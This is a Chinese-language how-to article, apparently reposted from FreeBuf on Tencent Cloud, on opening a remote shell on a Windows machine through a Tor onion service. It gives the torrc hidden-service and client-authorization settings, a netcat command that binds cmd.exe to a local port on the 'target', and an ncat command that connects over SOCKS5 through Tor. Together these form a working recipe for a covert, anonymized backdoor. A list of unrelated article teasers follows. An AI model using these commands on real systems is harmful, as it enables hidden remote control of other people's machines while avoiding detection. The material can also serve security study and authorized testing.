看我如何通过Tor Onion在Windows中执行远程Shell

操作方法

首先,我们要在一个Windows Tor客户端中创建一个Tor onion服务(即隐藏服务)。我下载了Tor Expert bundle(同样适用于Tor浏览器)-【下载地址】。

然后使用下列命令创建Tor配置文件torrc:

HiddenServiceDir C:\demo\Tor\service
HiddenServicePort 8662 127.0.0.1:12345

开启Tor服务之后,将会自动创建目录C:\demo\Tor\Service,并填充一系列必要的文件(<主机名>文件夹包含了这个Toronion服务的.onion地址)。

该onion服务将监听端口8662,而流量将会直接转发到127.0.0.1(端口12345)。

这里我们还可以给服务开启客户端验证功能,因为如果不开启这个功能的话,任何知道这个.onion地址和端口号的人都可以进行连接。最基础的客户端验证使用了共享密钥,你可以使用下列命令进行配置(torrc):

HiddenServiceAuthorizeClient basic testuser

这里我选择使用testuser作为客户端名称:

接下来,我们可以使用配置文件torrc来开启Tor:

tor.exe -f torrc

.onion地址以及客户端验证cookie可以在service目录的<主机名>文件夹中找到:

nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g # client: testuser

当然了,你一定要保护认证cookie密钥的安全。

现在,用nc.exe在目标Windows设备上开启服务(我几年前就在电脑上下载了nc.exe,我不记得原始的URL地址了,我使用的版本是v1.11,MD5为ab41b1e2db77cebd9e2779110ee3915d):

nc -e cmd.exe -L -s 127.0.0.1 -p 12345

Tor ExpertBundle以及nc.exe不需要任何其他的依赖组件(跟DLL类似),因此任意用户都可以直接运行。

现在我们的目标主机已经配置好了,在另一台设备上,我需要使用包含了认证cookie的配置文件来开启Tor服务:

HidServAuth nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g

接下来,我们需要运行ncat,因为ncat.exe支持socks5代理(nc.exe不支持):

ncat.exe --proxy 127.0.0.1:9050 --proxy-type socks5 nybjuivgocveiyeq.onion 8662

接下来,我们就得到远程Shell啦!

提醒大家一下,这种方法不适用于ncat v 7.60版本,具体原因请参考【这里】:

ibnsock select_loop(): nsock_loop error 10038: An operation was attempted on somethingthat is not a socket.

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-02-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏程序员宝库

深入剖析 Web 服务器与 PHP 应用的通信机制 - 掌握 CGI 和 FastCGI 协议的运行原理

身为一名使用 PHP 语言开发后端服务的程序猿,我们每天都和 PHP 以及 Web 服务器产生无数次的亲密接触。得益于它们,我们才能够如此快速的构建出令人陶醉的...

2262
来自专栏Laoqi's Linux运维专列

Nginx防盗链+Nginx访问控制+Nginx解析php相关配置+Nginx 代理

3505
来自专栏张戈的专栏

【 ES 私房菜】ElasticSearch 详细部署教程

Elasticsearch 是一个分布式的 RESTful 风格的搜索和数据分析引擎,能够解决不断涌现出的各种用例。本文详细介绍了elasticserch的部署...

1.3K1
来自专栏云瓣

跨域二三事

更好的阅读体验 跨域是日常开发中经常开发中经常会接触到的一个重难点知识,何不总结实践一番,从此心中对之了无牵挂。 同源策略 之所以会出现跨域解决方案,是因为同...

37010
来自专栏游戏杂谈

记一次Nginx 400错误

在一个非CDN的域名下有一个页面,需要请求CDN域名下的资源。所以在CDN的那台源站的Nginx上设置了

9521
来自专栏Ryan Miao

Javascript跨域后台设置拦截

子域名之间互相访问需要跨域 结论放在开头: 服务端必须设置允许跨域 客户端带cookie需要设置withCredentials 无论服务端是否允许跨域,该req...

2788
来自专栏Debian社区

高性能缓存服务器 Nuster

Nuster 是一个基于 HAProxy 的高性能缓存服务器。Nuster 完全兼容 HAProxy,并且利用 HAProxy 的 ACL 功能来提供非常细致的...

1221
来自专栏你不就像风一样

Ajax跨越问题原因分析与解决思路

简单来说,就是前端调用后端服务接口时 如果服务接口不是同一个域,就会产生跨域问题

872
来自专栏阮一峰的网络日志

跨域资源共享 CORS 详解

CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。 它允许浏览器向跨源服务器,发出XMLHttpR...

3237
来自专栏木头编程 - moTzxx

跨域解决方案整理笔记

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011415782/article/de...

1493

扫码关注云+社区

领取腾讯云代金券